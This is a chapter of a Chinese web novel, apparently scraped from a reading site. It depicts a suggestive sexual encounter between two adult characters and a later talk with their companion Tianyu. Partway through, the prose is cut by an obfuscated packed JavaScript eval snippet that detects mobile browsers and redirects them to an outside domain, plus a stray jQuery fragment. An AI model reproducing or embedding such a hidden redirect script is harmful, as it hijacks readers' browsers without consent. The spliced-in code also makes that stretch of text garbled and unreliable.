55. 第 55 章

作品:《背刺反派后,系统让我再次穿书

    甜蜜交织在唇齿。


    杜茗星目眩神迷,手顺着他的肩膀滑下,握住他手臂上绷紧的肌肉,健康、富有力量感,而且蓄势待发,如同拉满的弓。


    她的眼尾余光扫向佛像,联想到自己的正在进行时,心虚又畏缩,悄悄将身体压低,直到藏进沈初墨怀中,再也瞧不见那尊闭目的佛。


    自欺欺人。


    他不再像冰,在禁果的效用下,浑身散发着灼人的热度,像是要穿过她薄薄一片的身体。


    杜茗星眼睫颤抖,眼角因这炽热溢出大滴的眼泪,又在发烧的脸颊上蒸发。


    在寺庙深处,佛像面前。


    佛像上有什么在动,她吓得身体一弹,后又重重落到沈初墨膝上,压得他呼吸凌乱,握着纤腰的手紧了又紧。


    像是要把她拧出水来,滴滴答答地洇湿他衣裤和手心。


    原来,佛像上不知何时落了块布,边角滑下一点,就把她吓成这般。


    荒唐无人发现,她舒了口气。心虚中想,这种仪式与结婚有什么区别,无非是一个原始,一个虚伪。


    她不过是在神像面前,用行动宣誓罢了。


    黑暗中的一切都格外敏锐,她忽然感觉自己坐着的膝盖向上,鲜明强势地动了动,准确地说,可以用“弹”、或是“跳”这种字眼。


    电光石火。


    “……”


    “…………”


    沈初墨抓住在他手心乱窜、企图临阵脱逃的大号泥鳅,凑到她耳边,低低地问,


    “不是说好,不会丢下我?”


    杜茗星心软,压下求生的本能,只是被压迫处还隐隐发麻,暗中腹诽,您这膝盖……跟膝盖似的,谁受得了。


    有种小时候被拉去医院,在哇哇大哭中露出屁股蛋,眼睁睁看自己被粗大针管打针的恐惧。


    她选择装鸵鸟,别着头故意不去看,嘴上逞强:“我又没说要逃。”


    她愿意一直陪他,直到死亡。


    沈初墨观察杜茗星的神色,见她知行合一,这才缓缓松开掐腰的手。


    忽然觉得她坐过的地界有些凉,而且贴身,低头看看,那弱柳扶风的腰肢竟真拧出了水,忍不住强压火气,咬着后槽牙把犯人押回原处。


    她娇躯一颤,眼前迅速蒙上层雾气,却没再逃,像块融化的奶糖,甜腻的牛奶淌得到处都是。


    杜茗星每每不自觉望向佛像,便将头埋进沈初墨胸口,声音压低许多,咬着唇边抖边喘。


    她不知道沈初墨爱咬人,牙齿刺进她的后颈,犬似的叼起她,把她安置在怀窝中,脖颈后不知是她沁出的汗还是他的唾液,又黏又热。


    长发落到布满齿痕的肩颈,顺着重力滑下,发尾沿着规律的轨迹在空中飘荡,混合着淡淡的香气。


    她被逼上绝境,忍不住发出呜咽,糯糯地求饶。


    他意犹未尽,翻起旧帐:“是你说,随意使用。”


    说完,又含咬脖颈,嚼着女孩软玉质地的骨头,冰蚕丝般的皮肉,想要尽数吞入腹中。


    吞噬是他的本能,尽管现在被吞没的是他。


    “只吃一口。”语气克制。


    “……”杜茗星抽空伸手,指指后颈,还有全身,“自己数数,咬了多少口。”


    入夜。


    杜茗星的手背贴着黏热的额头,忽地想起什么,推推沈初墨:“一天了,再不下去,甜瑜会饿死的。”


    沈初墨无法反驳,只好下去。他抱起她进入领域,快速擦拭身体。


    杜茗星反复端详自己的脸和手臂,防止有什么痕迹被发现,确认万无一失后,与沈初墨一同下山。


    气氛有微妙的转变。


    凝固又暧昧的氛围中,她率先开口:“初墨,好点了吗?毒素有没有完全消除?”


    沈初墨脚步顿了顿:“还需要一点……我是说,应该还有很多。”


    说到最后,咬着后槽牙,语气有些纠结,有些愠怒和挫败。


    杜茗星点点头,对此表示理解,毕竟女主需要三天,沈初墨满打满算,也就一天。


    他对不能快速解决问题颇有微词,情有可原。


    想想也好笑。主角百毒不侵但对情药无解,小说经典设定了属于是。


    找别人她不乐意,那就只能亲自上阵。只祈祷这点意料之外的偏差,不会对整体剧情造成太大影响。


    “那、我晚上等甜瑜睡着后来找你?到时候,进领域里再……”


    “好。”他接得很快。


    表情清冷,仿佛只是为了尽快解药。


    杜茗星点头,约好时间后,钻进自己卧室,用被子盖头,在被窝里滚来滚去。


    之前浑身上下脱力,一根手指都不想抬了,但心魔的恢复能力随了主人,连断肢重生都在几息之间重塑,逞论磨损过度和体力消耗。


    本来想着等会儿就出去,看看甜瑜情况,但一沾上床,杜茗星的眼皮就跟灌了铅似的,怎么努力都掀不开。


    她迷迷糊糊中把这归咎于沈初墨。


    真是……浑身上下使不完的牛劲儿,拉磨肯定是一把好手。


    再次醒来时,她发觉有股冷冽的气息已经覆上了自己。


    嘴唇被舔舐着,从唇珠到唇角。


    人类之间,不是这么接吻的。她张张嘴,有心想说话,就被趁机抵入舌尖。


    隔了会儿,杜茗星平复了下呼吸:“现在什么时候?甜瑜呢?”


    “晚上11点,”沈初墨答,“甜瑜已经安置好了。”


    “我出去看看。”


    杜茗星点头,正准备起身,发现自己直不起来,推推压着的沈初墨,他赖皮似的,


    “这么晚了,她应该睡着了。”


    杜茗星揉揉他的脑袋,好声好气哄:“我会回来的,就看一眼。”


    做过保证后,男人往右侧挪挪身体,算是同意。


    出了空间,杜茗星见不远处树下有个能量罩,灰扑扑的,与周围环境仿佛融为一体,从外面看,完全看不见里面的情况。


    她飘过去:“甜瑜,睡了吗?”


    “没呢,”甜瑜忙直起身,“欣姐吗?快进来,外面冷。”


    杜茗星进去后,坐到地上,与她攀谈起来:“不好意思,让你久等了,一天没喝水吃饭,累坏了吧?”


    “这个没事,我有异能,身体素质比普通人强。”甜瑜笑笑,不甚在意,“而且,1、2天不吃不喝是常事。”


    “倒是你们,过程很惊险吧?沈先生只丢给我一株龙涎香,其他啥也没说,”她摇了摇头,面露羞愧,“我这样坐享其成,真


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971852|169913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是不好意思……”


    “没事没事。”


    杜茗星舒了口气,有惊无险拿到龙涎香就好,而且甜瑜也安全,护送她回基地后,就彻底不用担心了。


    “欣姐,你们和好啦?”甜瑜顿了顿,试探道,“我看他晚上心情不错?还给我打了只野猪。”


    杜茗星心跳漏了一拍,没接上话。


    ……他心情不错?


    是不是意味着,排除禁果的影响,他本身并不讨厌她?至少,在生理角度。


    杜茗星含混地“嗯”了声,到树干旁躺下。


    甜瑜也跟着躺下,伸了个懒腰,自顾自道,


    “来之前怎么也没想到,这么轻松就采到草药,还见到了你,本来想着,能活着回来就祖坟烧高香了……”


    杜茗星肃然起敬,她感到甜瑜是抱着必死的决心来的,忍不住问:“你那天那么害怕,都没后悔过加入吗?”


    “肠子早就悔青了,”甜瑜轻描淡写,“不过,不是因祸得福,遇上了你们吗?”


    杜茗星沉吟片刻,想到没与甜瑜相遇的可能性就有些后怕,她不解:“为了点虚无缥缈的机会,搭上性命,值得吗?”


    “方小郑她,怀孕了。”


    杜茗星屏住呼吸。


    接下来的话,不用甜瑜说明,她也能隐隐感觉。这是一种源于人类基因的默契。


    孩子代表希望,代表未来,甜瑜一定不希望迎接未来的,仍是这冷冰冰的末世。


    末日之中,她看到,有些人永远停在了过去,有些人燃烧自己照亮未来,见证着人类短暂生命迸发出的一簇簇绚烂火花。


    杜茗星没再多问,抱了抱甜瑜。


    “你的愿望,会实现的。”


    等到甜瑜睡着,已经快凌晨一点。杜茗星蹑手蹑脚回到卧室,仍有盏烛火为她亮着。


    烛光之下,映着双嗷嗷待哺的眼睛,正巴巴地望。


    “……烛光下的狼崽是吧。”


    杜茗星叹了口气,认命地摇摇头,往床上一躺。


    沈初墨顺势环住她纤细的腰,温热的手掌与凉丝丝的肌肤形成鲜明对比,他嗅了嗅,嗓音沙哑,


    “洗了澡?”


    “……就附近小溪,顺便洗的,”杜茗星不甘示弱,贴在他锁骨用力嗅闻,明知故问,“喷了香水?”


    “……整理时打翻了。”


    杜茗星哼了哼,没在这个问题上纠缠。


    “下次再整理时,小心点别打翻了。”


    香水没他本人气味好闻。


    她扭头,把唇凑到他喉结处蹭蹭,喉结一滚,压到下方,但最后又滚回她唇缝。


    有些好玩。


    杜茗星没想过还可以这么玩沈初墨,实操过后,发觉他浑身上下都挺好玩。只是不知能玩多久,那毒过两天也该解了。


    后脑勺被按住,一双薄唇递了下来,透着股湿热苦闷的气息。嘴唇传来些许刺痛,破了皮,樱唇染了点血气,红肿起来,像是正遭受着暴雨零落肆虐。


    她阖眼,不管不顾地仰头回应,对他静默而极致的渴求全盘接受。


    “龙涎香我给她了,你……满意吗?”他吻着她的手,低低地问。


    杜茗星抱紧他,点点头,


    “谢谢你,初墨。”